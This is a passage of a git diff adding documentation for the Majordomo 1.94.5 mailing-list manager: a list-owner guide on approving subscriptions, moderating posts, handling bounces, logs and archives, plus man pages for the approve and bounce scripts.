request, I suggest +that he not just "do nothing." If a subscription is rejected, it's a +good idea to reply and explain why. Otherwise, the subscriber will +probably write to ask because she already got a message like this: + + From Owner-Majordomo@bakers.org Sun Sep 5 08:56:09 1993 + To: postmaster@yummybake.com + From: Majordomo@bakers.org + Subject: Majordomo results + Reply-To: Majordomo@bakers.org + + -- + >>>> subscribe donut-makers donut-makers-dist@yummybake.com + Your request to Majordomo@bakers.org: + + subscribe donut-makers donut-makers-dist@yummybake.com + + has been forwarded to the owner of the "donut-makers" list for approval. + This could be for any of several reasons: + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + When the list owner approves your request, you will be notified. + + If you have any questions about the policy of the list owner, please + contact "sample-approval@bakers.org". Thanks! + + Majordomo@bakers.org + +As the message to the list owner explained, the owner can approve the +subscription by mailing an "approve" command to the majordomo server: + + From: owner-name@owner-address + To: Majordomo@bakers.org + + approve !BooM! subscribe donut-makers donut-makers-dist@yummybake.com + +(where "!BooM!" is the list password). + + +Moderating Lists without approve + +This section describes how to moderate messages manually if you can't +use "approve". It also shows the messages that get passed between the +list owner and Majordomo. + +Here's a message that the "donut-makers" list owner just received: + + Date: Sun, 5 Sep 93 22:17:34 PDT + To: Donut-makers-Owner@bakers.org + From: Donut-makers-Owner@bakers.org + Subject: BOUNCE Donut-makers@bakers.org: Approval required + + >From elliek@hearthbake.com Sun Sep 5 22:17:29 1993 + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + +If the owner doesn't want to approve the message, it's courteous to +mail a note to the original sender and explain why. (Maybe Ellie +should read the "donut-makers" "Frequently-Asked Questions" list.) + +There are a few ways to tell Majordomo (actually, the "resend" script) +to send an approved message. The easiest is the "approve" script. +Otherwise, the owner should send mail to the list address (in this +case, to Donut-makers@bakers.org). The owner adds a line like this to +the approved message header--or on the line before the approved +message: + + Approved: password + +There are two ways to do that: + +- On a mail system like MH that lets people modify the mail message + header, send the approved message to the list address as a new + message. Add the "Approved:" header at the top. (Delete headers + like "Date:"; leave "From:", "To:", and "Subject:".) For example: + + Approved: BigSecret + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + + When the "Approved:" header appears with the message headers, these + message headers will be used when the message is sent to the list. + Compare that to the second method below. + +- Majordomo 1.60 added a new way to approve messages that's handy for + owners who can't modify their mail headers. Send a new mail message + to the list address. Start the message body with the "Approved:" + line. Next, read in a copy of the approved message. Delete any + useless headers and send it. + + For example, in the Berkeley "mail" command: + + ... + N 17 Donut-makers-Owner Sun Sep 5 22:17 23/733 BOUNCE Donut-makers + ... + & mail donut-makers@bakers.com + Subject: + Approved: BigSecret + ~f 17 + Interpolating: 17 + (continue) + ~v ...editor starts... edit the headers... + (continue) + ~p ...shows message you've edited... + ------- + Message contains: + To: donut-makers@bakers.org + + Approved: BigSecret + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + (continue) + ^D ...sends message... + & + + In this second method, the message sent to the list will contain the + headers below the "Approved:" line. + Headers above the "Approved:" won't be used. + +Either way, Ellie's message will go to the list with no trace of the +password: + + From Donut-makers-Owner@bakers.org Sun Sep 5 23:40:22 1993 + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + Sender: Donut-makers-Owner@bakers.org + Precedence: bulk + + What's your favorite recipe for jelly donuts? Thanks. + + +Bounced Mail and the Bounces List + +List owners will get familiar with messages like these: + + Return-Path: + Date: Sun, 10 Oct 93 13:24:11 EDT + From: MAILER-DAEMON@mukluk.ice.ca (Mail Delivery Subsystem) + Subject: Returned mail: Cannot send message for 3 days + Message-Id: <9310101724.AA20948@mukluk.ice.ca> + To: listown@online.ora.com + + ----- Transcript of session follows ----- + 421 tuna.ice.ca: Host tuna.ice.ca is down + + ----- Unsent message follows ----- + Received: from online.ora.com by mukluk.ice.ca (4.1/4.7) + id for shh@tuna.ice.ca; Thu, 7 Oct 93 13:05:22 EDT + Received: by online.ora.com (5.65c/Spike-2.1) + id AA13466; Thu, 7 Oct 1993 10:13:03 -0400 + Date: Thu, 7 Oct 1993 10:13:03 -0400 + ... + +If your lists will be busy, you'll probably want to set up a special +list named "bounces". It's a list for subscribers of other lists whose +mail starts bouncing. The address of the subscriber is removed from +the list they used to belong to and added to the "bounces" list. A +cron job runs the "bounce-remind" script every night to send mail to +all the people with bad addresses. The mail's "From:" address and +envelope sender are set to "nobody", a user on your system whose mail +goes to /dev/null. (The /dev/null file is actually a "black hole." +Text written there disappears; it's thrown away.) + +If the mail gets through to a subscriber, the subscriber will find out +what has happened and how to fix it. If the problem isn't fixed after +a while (usually, a month or so), the list owner can review the +"bounces" subscriber list and remove the hopeless cases. + +To set up the "bounces" list: + +1. Make sure that the "nobody" user exists on your system. There + should also be a mail alias for "nobody" pointing to /dev/null: + + nobody: /dev/null + + If your system doesn't have that user and can't create it, you can + get by. Make a mail alias that has an obvious name ("trashcan", + "dustbin", "nothing", etc.) pointing to /dev/null; use it in the + setup below. + +2. Follow the steps in the section "Creating a New List" to make the + "bounces" list. Here's the main entry for "resend": + + bounces: "|/usr/local/majordomo/bin/wrapper resend -p junk + -l Bounces -f nobody -h foo.com.au -s bounces-outgoing" + + The priority "junk" helps stop mail bounces. + +3. Check the "bounce-remind" script to be sure that the path to the + Perl interpreter on the first line is correct. Take a quick look + through the script. + +4. Make a crontab entry to run "bounce-remind" once a night. + +5. Help list owners set up their accounts with the "bounce" script. + Remember that the owners' ".majordomo" files need an entry for the + "bounces" list as well as the other lists. + +Bounced messages come in so many different formats that it's hard to +completely automate subscriptions to the "bounces" list. (In fact, in +some cases, the addressee of the bounced mail won't even be shown in +the message!) If the list owner's system can run a Perl script, the +"bounces" script makes the job easy. The script works differently than +"approve". The script doesn't read a message from a file or standard +input. Instead, it reads its command line arguments: + + % bounce listname user@xyz.com + +That command would unsubscribe the address user@xyz.com from the +"listname" list and add them to the "bounces" list. An owner who can't +run the "bounce" script can send mail to Majordomo with two commands +like these: + + approve passwdA unsubscribe listname user@xyz.com + approve passwdB subscribe bounces user@xyz.com (931005 listname) + +The first command unsubscribes the user from the current list. The +second one subscribes the user to the "bounces" list, with a comment +that shows the date and the name of the list they used to belong to. + + +The Majordomo Log File + +Majordomo keeps a log file. The file's pathname is set in the $log +variable in your majordomo.cf file. It's a good idea to read the file +every day or two. + +When Majordomo is busy (such as after you've added a new list), you may +want to run "tail -f" to watch messages as they're being added to the +log. Clean it out periodically. I've found it useful to keep +compressed copies of old log files for reference. + +The log file won't give you much help with security problems. (As +Brent has made clear, security wasn't one of Majordomo's main goals.) +Transactions are logged with the "Reply-to:" or "From:" address in the +mail message header. For example, you can send a message like this: + + Reply-to: John Doe + From: Your-real-name + To: majordomo@bakers.org + + passwd donut-makers oldpassword newpassword + +This is what will be logged (and it will be "FAILED" only if the old +password was incorrect): + + Sep 05 21:06:31 bakers majordomo[27604] {johndoe@nowhere.org} + FAILED passwd donut-makers OLD NEW + +There's no trace of the original sender or any way to see the "OLD" +password he tried. One way to track messages like these is by reading +your system MTA log file. Another is by making duplicates of all mail +sent to "majordomo". For instance, the following alias would send a +copy of all majordomo requests to "owner-majordomo": + + majordomo: owner-majordomo, "|/usr/local/majordomo/bin/wrapper majordomo" + +Of course, on a busy system, the person who is "owner-majordomo" +will get a lot of mail; a mail filter program like "procmail" can store +that mail and help to sort out the messages you might really want to +see. (You can get "procmail", by Stephen R. van den Berg, from many +anonymous FTP sites.) Instead of a mailbox address, you can also give +the absolute pathname of a log file. Note that, in many cases, the +file will need to be world-writable (mode 622 or 666). + + +Managing the Archives + +An archive is a file containing messages that previously appeared on +the mailing list. You can create an archive simply by putting an entry +in the system MTA alias file as described in the section "Creating a +New List". + +A list's archive will keep growing forever until you truncate or split +it. It's a good idea to split the file once in a while. Otherwise, +people who "get" it can receive a HUGE mail message. (Worse, some +mailer may truncate the file or refuse to send it.) + +Majordomo doesn't come with fancy archive management tools. The +Majordomo distribution comes with a Perl script named +"split_archive.pl"--it's in the "Tools" subdirectory. It splits an +archive file into separate files, one per message, named 0001, 0002, +and so on. + +You can also put any ASCII file in the archive, and set up a directory +hierarchy. But you need to do this by hand. For example, if you want +majordomo to mail files that contain non-text characters, you'll need +to pre-process the files with a utility like "uuencode" or "btoa". + +If your site has an anonymous FTP area, you can set Majordomo to store +your archives there. You can also configure the majordomo.cf file to +handle "get" commands by mailing requests to an ftpmail server. (See +the section "Installing Majordomo".) To do that, define the variables +$ftpmail_address (and, optionally $ftpmail_location--the default is the +local host) in the majordomo.cf file. The ftpmail setup assumes that +the FTP archive is structured the same way as your local archive +directory. It uses the pathname $filedir/listname$filedir_suffix for +the archive directory, then issues an FTP "get" command for the file +specified. + + +Disabling Majordomo Temporarily + +Once Majordomo is running on your system, how do you do maintenance? +It's always active because mail aliases will start the program +anytime. If you make a mistake in your maintenance, mail can start to +bounce. One way is to shut off your system's sendmail daemon, but that +affects all mail on your system. + +An easier way is to make a small "stub" shell script named +"majordomo.hold": + + #! /bin/sh + exit 75 + +Make that file executable with "chmod 755 majordomo.hold". Then +quickly (so there's less chance of causing incoming mail to bounce) +swap the "majordomo" Perl script and your "majordomo.hold" script: + + % mv majordomo majordomo.tmp && mv majordomo.hold majordomo + +(The shell's "&&" operator lets you type both command lines before +executing either of them. It does the second "mv" command only if the +first one succeeds.) When mail comes in, sendmail will run your little +script, which will return an exit status of 75. This special status +makes sendmail defer (queue) the incoming message and try to deliver it +to "majordomo:" again later. When you're done with your maintenance, +swap the script with the real "majordomo" script and mail will be +processed again. (Special exit statuses like 75 are listed in the file +/usr/include/sysexits.h.) + +The same thing works with "resend"; disabling it will disable all of +the lists. + +Note that your sendmail may convert pathnames of commands run by +deferred messages to all lower-case letters. This problem may only +bite you after you defer messages. For example, if your "resend" alias +starts like this: + + sample: "|/usr/local/majordomo/bin/wrapper resend + -A -a /usr/local/majordomo/Lists/Sample.passwd + +The "L" and "S" in that pathname may be changed to "l" and "s" when the +message is deferred. If they are, "resend" won't be able to find the +password file. The fix for this problem is to either change your +sendmail.cf file or make all your file and directory names with only +lower-case letters. diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 b/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 new file mode 100644 index 0000000..48a4bd9 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 @@ -0,0 +1,137 @@ +'\" t +.TH APPROVE 1 +.SH NAME +approve \- approve a Majordomo request +.SH SYNOPSIS +.B approve [filename] +.SH "DESCRIPTION" +.B approve +automates the task of replying to an approval request from Majordomo. Input +is the e-mail message containing Majordomo's request, read from +.IR filename , +or read from standard input if no filename is specified. +.PP +.B approve +currently understands two types of requests; those requesting +subscription to a +.I closed +list, and those which bounced due to a lack of permission to post to a +moderated, or +.IR private , +mailing list. +.B approve +reads the body of the message from Majordomo to determine the appropriate +action. Assuming a message containing a subscription request like the +following: +.sp 1 +.RS 3 +From: Majordomo@This.COM +.sp 0 +To: this-list-approval@This.COM +.sp 1 +Joe User requests you approve the following: +.sp 1 +.RS 3 +subscribe this-list Joe User +.RE +.sp 1 +If you approve, send a line such as the following to Majordomo@This.COM: +.sp 1 +.RS 3 +approve PASSWD subscribe this-list Joe User +.RE +.RE +.sp 1 +then running +.B approve +on the message by saving it in a file, e.g., +.sp 1 +.RS 3 +approve /tmp/request +.RE +.sp 1 +or +.sp 1 +.RS 3 +approve < /tmp/request +.RE +.sp 1 +will result in the following reply to Majordomo: +.sp 1 +.RS 3 +To: Majordomo@This.COM +.sp 1 +approve PASSWD subscribe this-list User@Fubar.COM (Joe User) +.sp 1 +.RE +If +.B approve +is on the user's path, then it's possible to execute it via a shell escape, +piping the current message to +.B approve +from a mail program, e.g., +.sp +.RS 3 +!approve +.RE +.sp +would +.I approve +the current message in /usr/ucb/Mail. +.PP +If, in the latter case, the "Subject:" line of the request from Majordomo is +"BOUNCE : ", the message is treated as a posting rejected by +.B resend +for some reason, and is reformatted with appropriate "Approved:" headers to +cause it to succeed, and then it is resubmitted to Majordomo for posting. +This provides an easy mechanism for the moderator of a mailing list to +approve postings to the list. +.SH CONFIGURATION +.B approve +assumes that the +.I approve +password for each list is the same as the +.I approval +password used by +.BR resend , +and that this password is stored +in a file called +.I .majordomo +in the user's home directory. The file has the following format: +.RS 5 +.TS +l l l . +.sp +this-list passwd1 Majordomo@This.COM +other-list passwd2 Majordomo@Other.GOV +.sp +.TE +.RE +The first column specifies the name of the mailing list, the second column +specifies the list-owner's password for the given list, and the third column +specifies the e-mail address of the associated Majordomo server. It is +assumed that the value in the third column is an Internet-style +"something@somewhere" address, and that postings for "List" should be sent +to "List@somewhere". Since this file +.B only +needs to be read by the user, it should be mode 600 to protect the +passwords. +.SH FILES +~/.majordomo +.sp 0 +/usr/local/lib/mail/majordomo/ +.SH SEE ALSO +majordomo(8),perl(1),resend(1). +.SH BUGS +There is no direct support for MH(1), so MH users will have to run +.B approve +directly on the message file in their inbox. +.sp +The +.I .majordomo +file requires an at-sign, "@", in the address of the Majordomo server, even +if it colocated on the same system as the list-owner. +.SH AUTHORS +Majordomo and most of the ancillary perl code was written by Brent Chapman, +. +This man page was written by Jim Duncan, . diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.man new file mode 100644 index 0000000..afe2f97 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.man @@ -0,0 +1,132 @@ + + + +APPROVE(1) USER COMMANDS APPROVE(1) + + + +NAME + approve - approve a Majordomo request + +SYNOPSIS + approve [filename] + +DESCRIPTION + approve automates the task of replying to an approval + request from Majordomo. Input is the e-mail message con- + taining Majordomo's request, read from _f_i_l_e_n_a_m_e, or read + from standard input if no filename is specified. + + approve currently understands two types of requests; those + requesting subscription to a _c_l_o_s_e_d list, and those which + bounced due to a lack of permission to post to a moderated, + or _p_r_i_v_a_t_e, mailing list. approve reads the body of the + message from Majordomo to determine the appropriate action. + Assuming a message containing a subscription request like + the following: + + From: Majordomo@This.COM + To: this-list-approval@This.COM + + Joe User requests you approve the fol- + lowing: + + subscribe this-list Joe User + + If you approve, send a line such as the following to + Majordomo@This.COM: + + approve PASSWD subscribe this-list Joe User + + + then running approve on the message by saving it in a file, + e.g., + + approve /tmp/request + + or + + approve < /tmp/request + + will result in the following reply to Majordomo: + + To: Majordomo@This.COM + + approve PASSWD subscribe this-list User@Fubar.COM (Joe + User) + + If approve is on the user's path, then it's possible to exe- + cute it via a shell escape, piping the current message to + + + +Sun Release 4.1 Last change: 1 + + + + + + +APPROVE(1) USER COMMANDS APPROVE(1) + + + + approve from a mail program, e.g., + + !approve + + would _a_p_p_r_o_v_e the current message in /usr/ucb/Mail. + + If, in the latter case, the "Subject:" line of the request + from Majordomo is "BOUNCE : ", the message is + treated as a posting rejected by resend for some reason, and + is reformatted with appropriate "Approved:" headers to cause + it to succeed, and then it is resubmitted to Majordomo for + posting. This provides an easy mechanism for the moderator + of a mailing list to approve postings to the list. + +CONFIGURATION + approve assumes that the _a_p_p_r_o_v_e password for each list is + the same as the _a_p_p_r_o_v_a_l password used by resend, and that + this password is stored in a file called ._m_a_j_o_r_d_o_m_o in the + user's home directory. The file has the following format: + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.GOV + + The first column specifies the name of the mailing list, the + second column specifies the list-owner's password for the + given list, and the third column specifies the e-mail + address of the associated Majordomo server. It is assumed + that the value in the third column is an Internet-style + "something@somewhere" address, and that postings for "List" + should be sent to "List@somewhere". Since this file only + needs to be read by the user, it should be mode 600 to pro- + tect the passwords. + +FILES + ~/.majordomo + /usr/local/lib/mail/majordomo/ + +SEE ALSO + majordomo(8),perl(1),resend(1). + +BUGS + There is no direct support for MH(1), so MH users will have + to run approve directly on the message file in their inbox. + + The ._m_a_j_o_r_d_o_m_o file requires an at-sign, "@", in the address + of the Majordomo server, even if it colocated on the same + system as the list-owner. + +AUTHORS + Majordomo and most of the ancillary perl code was written by + Brent Chapman, . This man page was + written by Jim Duncan, . + + + +Sun Release 4.1 Last change: 2 + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 new file mode 100644 index 0000000..b585ecd --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 @@ -0,0 +1 @@ +.so man1/bounce.1 diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man new file mode 100644 index 0000000..5694ac3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man @@ -0,0 +1,198 @@ + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + NNNNAAAAMMMMEEEE + bounce, bounce-remind - handle majordomo list subscribers + whose mail is undeliverable + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + [[[[----uuuunnnnssssuuuubbbb]]]] _m_a_j_o_r_d_o_m_o-_l_i_s_t _u_s_e_r-_a_d_d_r_e_s_s + + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + ----eeeexxxxppppiiiirrrreeee [[[[----mmmmaaaaxxxxaaaaggggeeee _d_a_y_s ]]]] _b_o_u_n_c_e-_a_d_d_r_e_s_s-_f_i_l_e + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + bbbboooouuuunnnncccceeee and bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd are perl scripts which help list + owners handle subscribers whose mail is bouncing. Mail is + "bounced" in this context when it is undeliverable because + hosts or addresses are unreachable or because of other mail + errors. + + Mail is also "bounced" by the resend script for various + administrative reasons; these bounces are described in + aaaapppppppprrrroooovvvveeee(1). + + When a list owner observes that an email address + consistently causes mail errors, the owner may use bbbboooouuuunnnncccceeee to + remove the address from the list and place the address on a + special bbbboooouuuunnnncccceeeessss mailing list. + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd,,,, which should be run nightly by ccccrrrroooonnnn(4M), + sends a message to each of the user addresses on the bbbboooouuuunnnncccceeeessss + list, on the chance that the mail error has been corrected. + The message informs the addressee that their mail has been + undeliverable and that they have been removed from one or + more majordomo lists. It also instructs them how to + unsubscribe from the bbbboooouuuunnnncccceeeessss list and re-subscribe to the + list of their choice. + + bbbboooouuuunnnncccceeee can also be used to expire addresses off the bbbboooouuuunnnncccceeeessss + list after a predetermined number of days. + + If bbbboooouuuunnnncccceeee is invoked under a name that contains ``unsub'' it + will simply unsubscribe the offending address from the + majordomo list; it will not place the address on the bbbboooouuuunnnncccceeeessss + list. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + These options relate to bbbboooouuuunnnncccceeee;;;; bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd takes no + arguments or options. + + + + Page 1 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + ----dddd Debug; print what would be done, but don't do it. + + ----ffff ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Use the specified configuration file. The default + is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the format for this file is + described in the CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the + aaaapppppppprrrroooovvvveeee(1) man page. This file provides the + list-owner's password for each list and the + address of the corresponding Majordomo server. + + ----mmmmaaaajjjjoooorrrrddddoooommmmoooo sssseeeerrrrvvvveeeerrrr----aaaaddddddddrrrreeeessssssss + Use this _s_e_r_v_e_r-_a_d_d_r_e_s_s for majordomo rather than + the address from the configuration file. + + ----uuuunnnnssssuuuubbbb Unsubscribes the offending address from the + majordomo list, without entering that address on + the bbbboooouuuunnnncccceeeessss list. This is equivalent to invoking + bbbboooouuuunnnncccceeee under a name containing ``unsub''. + + ----eeeexxxxppppiiiirrrreeee Expire entries from the specified bbbboooouuuunnnncccceeeessss list. + + ----mmmmaaaaxxxxaaaaggggeeee ddddaaaayyyyssss + Expire entries older than ddddaaaayyyyssss.... The default is + coded into the bbbboooouuuunnnncccceeee script as $$$$ddddeeeeffffaaaauuuulllltttt____mmmmaaaaxxxxaaaaggggeeee + days. It is set to 21 days in the majordomo + distribution. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiisssstttt + The list from which the offending user-address + should be removed. + + uuuusssseeeerrrr----aaaaddddddddrrrreeeessssssss + The address to which mail is currently + undeliverable. + + bbbboooouuuunnnncccceeee----aaaaddddddddrrrreeeessssssss----ffffiiiilllleeee + The name of the file that contains the bbbboooouuuunnnncccceeeessss + list. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + If bbbboooouuuunnnncccceeee is going to be used only to unsubscribe users, a + link can be created whose name contains ``unsub'' so that + users could be unsubscribed simply by typing + + unsub firewalls-digest fury@world.std.com + + for example. + + In any case, a configuration file must exist and must + contain the names of the owner's lists, along with their + respective passwords and the email address of the associated + + + + Page 2 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + Majordomo server. The format of this file is given in the + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the aaaapppppppprrrroooovvvveeee(1) man page. The + default name for this file is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the same + file can serve for both the aaaapppppppprrrroooovvvveeee and bbbboooouuuunnnncccceeee scripts. + + The bbbboooouuuunnnncccceeeessss list, if it is used, must be created. It is + like any other Majordomo list excepting that the priority of + this list should be set to jjjjuuuunnnnkkkk and its owner and sender + should be nnnnoooobbbbooooddddyyyy.... Of course, the ``nobody'' mail alias must + exist; it is should be set to /dev/null. That is, + + nobody: /dev/null + + This will spare the human list owner as well as the + postmaster from having to deal with mail bouncing from the + bbbboooouuuunnnncccceeeessss list. + + A ccccrrrroooonnnn(1M) job should be set up to run bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd every + night. bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd must run on the same server as the + bbbboooouuuunnnncccceeeessss list; it mails a message to everyone on the list + advising them that they have been removed from one or more + Majordomo lists and instructs them how to get off the + bbbboooouuuunnnncccceeeessss list and back on the list of their choice. + + bbbboooouuuunnnncccceeee can only expire addresses if it has a copy of the + bbbboooouuuunnnncccceeeessss subscriber file, so this can either be run on the + server occasionally by the Majordomo administrator or by a + cron job. It can also be run remotely with a copy of the + bbbboooouuuunnnncccceeeessss file retrived by the use of the ``who bounces'' + command to majordomo. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Kevin + Kelleher . + + + + + + + + + + + + Page 3 (printed 9/24/96) + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 new file mode 100644 index 0000000..161d02f --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 @@ -0,0 +1,221 @@ +.TH bounce 1 +.SH NAME +bounce, bounce-remind \- handle majordomo list subscribers whose mail is undeliverable +.LP +.SH SYNOPSIS +.B bounce [\-d] [\-f +.I config-file +.B ] [\-majordomo +.I server-address +.B ] [\-unsub] +.I majordomo-list user-address +.LP +.B bounce [\-d] [\-f +.I config-file +.B ] [\-majordomo +.I server-address +.B ] \-expire [\-maxage +.I days +.B ] +.I bounce-address-file +.LP +.B bounce-remind +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +.B bounce +and +.B bounce-remind +are perl scripts which help list owners +handle subscribers whose mail is bouncing. Mail is "bounced" +in this context when it is undeliverable because hosts or +addresses are unreachable or because of other mail errors. +.LP +Mail is also "bounced" by the resend script for various administrative +reasons; these bounces are described in +.BR approve (1). +.LP +When a list owner observes that an email address consistently causes +mail errors, the owner may use +.B bounce +to remove the address from the list and place the address on a special +.BR bounces +mailing list. +.LP +.B bounce-remind, +which should be run nightly by +.BR cron (4M), +sends a message to each of the user addresses on the +.BR bounces +list, on the chance that the mail error has been corrected. +The message informs the addressee that their mail has been +undeliverable and that they have been removed from one or +more majordomo lists. It also instructs them how to unsubscribe +from the +.BR bounces +list and re-subscribe to the list of their choice. +.LP +.B bounce +can also be used to expire addresses off the +.BR bounces +list after a predetermined number of days. +.LP +If +.B bounce +is invoked under a name that contains ``unsub'' it will simply +unsubscribe the offending address from the majordomo list; it +will not place the address on the +.BR bounces +list. +.LP +.SH OPTIONS +These options relate to +.B bounce; bounce-remind +takes no arguments or options. +.LP +.TP 10 +.B \-d +Debug; print what would be done, but don't do it. +.TP +.B \-f config-file +Use the specified configuration file. The default is +.BR ~/.majordomo, +and the format for this file is described in the +.BR CONFIGURATION +section of the +.BR approve (1) +man page. This file provides the list-owner's password for +each list and the address of the corresponding Majordomo +server. +.TP +.B \-majordomo server-address +Use this +.IR server-address +for majordomo rather than the address from the configuration file. +.TP +.B \-unsub +Unsubscribes the offending address from the majordomo list, +without entering that address on the +.BR bounces +list. This is equivalent to invoking +.BR bounce +under a name containing ``unsub''. +.TP +.B \-expire +Expire entries from the specified +.BR bounces +list. +.TP +.B \-maxage days +Expire entries older than +.BI days. +The default is coded into the +.BR bounce +script as +.BI $default_maxage +days. It is set to 21 days in the majordomo distribution. +.LP +.SH OPERANDS +.TP 10 +.B majordomo-list +The list from which the offending user-address should be removed. +.TP +.B user-address +The address to which mail is currently undeliverable. +.TP +.B bounce-address-file +The name of the file that contains the +.BR bounces +list. +.LP +.SH CONFIGURATION +If +.B bounce +is going to be used only to unsubscribe users, a link can be +created whose name contains ``unsub'' so that users could be +unsubscribed simply by typing +.sp 1 +.RS 3 +unsub firewalls-digest fury@world.std.com +.RE +.sp 1 +for example. +.LP +In any case, a configuration file must exist and must contain +the names of the owner's lists, along with their respective +passwords and the email address of the associated Majordomo +server. The format of this file is given in the +.B CONFIGURATION +section of the +.BR approve (1) +man page. The default name for this file is +.BR ~/.majordomo, +and the same file can serve for both the +.B approve +and +.B bounce +scripts. +.LP +The +.B bounces +list, if it is used, must be created. It is like any other +Majordomo list excepting that the priority of this list +should be set to +.B junk +and its owner and sender should be +.B nobody. +Of course, the ``nobody'' mail alias must exist; it is should +be set to /dev/null. That is, +.sp 1 +.RS 3 +nobody: /dev/null +.RE +.sp 1 +This will spare the human list owner as well as the postmaster +from having to deal with mail bouncing from the +.B bounces +list. +.LP +A +.BR cron (1M) +job should be set up to run +.B bounce-remind +every night. +.B bounce-remind +must run on the same server as the +.B bounces +list; it mails a message to everyone on the list advising +them that they have been removed from one or more Majordomo +lists and instructs them how to get off the +.B bounces +list and back on the list of their choice. +.LP +.B bounce +can only expire addresses if it has a copy of the +.B bounces +subscriber file, so this can either be run on the server +occasionally by the Majordomo administrator or by a cron +job. It can also be run remotely with a copy of the +.B bounces +file retrived by the use of the ``who bounces'' command +to majordomo. +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.PD +.LP +.SH SEE ALSO +.B majordomo(8),approve(1) +.LP +.SH AUTHOR +Majordomo and most of the ancillary perl code was written by +Brent Chapman . +Majordomo is available via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Kevin Kelleher . diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man new file mode 100644 index 0000000..5694ac3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man @@ -0,0 +1,198 @@ + + + + 